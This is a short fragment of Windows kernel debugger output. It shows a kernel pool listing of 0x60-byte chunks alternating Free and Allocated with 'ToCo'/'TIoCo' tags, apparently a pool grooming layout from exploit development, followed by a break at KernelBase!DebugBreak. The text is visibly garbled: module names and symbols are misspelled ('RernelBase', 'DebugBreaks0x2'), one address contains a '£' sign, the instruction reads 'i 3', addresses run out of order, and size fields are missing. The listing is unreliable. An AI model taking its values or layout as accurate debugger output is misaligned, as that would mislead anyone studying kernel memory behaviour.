85270400 size: 60 previous size: (Free ) TIoCo (Protected)
85270060 size: 60 previous size (Allocated) ToCo (Protected)
85270dc0 size: 60 previous size (Free ) TIoCo (Protected)
85270820 size: 60 previous size (Allocated) ToCo (Protected)
85270880 size: 60 previous size (Free ) TIoCo (Protected)
85270ee0 size: 60 previous size: (Allocated) ToCo (Protected)
85270740 size: 60 previous size (Free ) TIoCo (Protected)
85270£a0 size: 60 previous size:
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kd> g

Break instruction exception - code 80000003 (first chance)

RernelBase!DebugBreaks0x2: | .
001b:7573381b cc i 3
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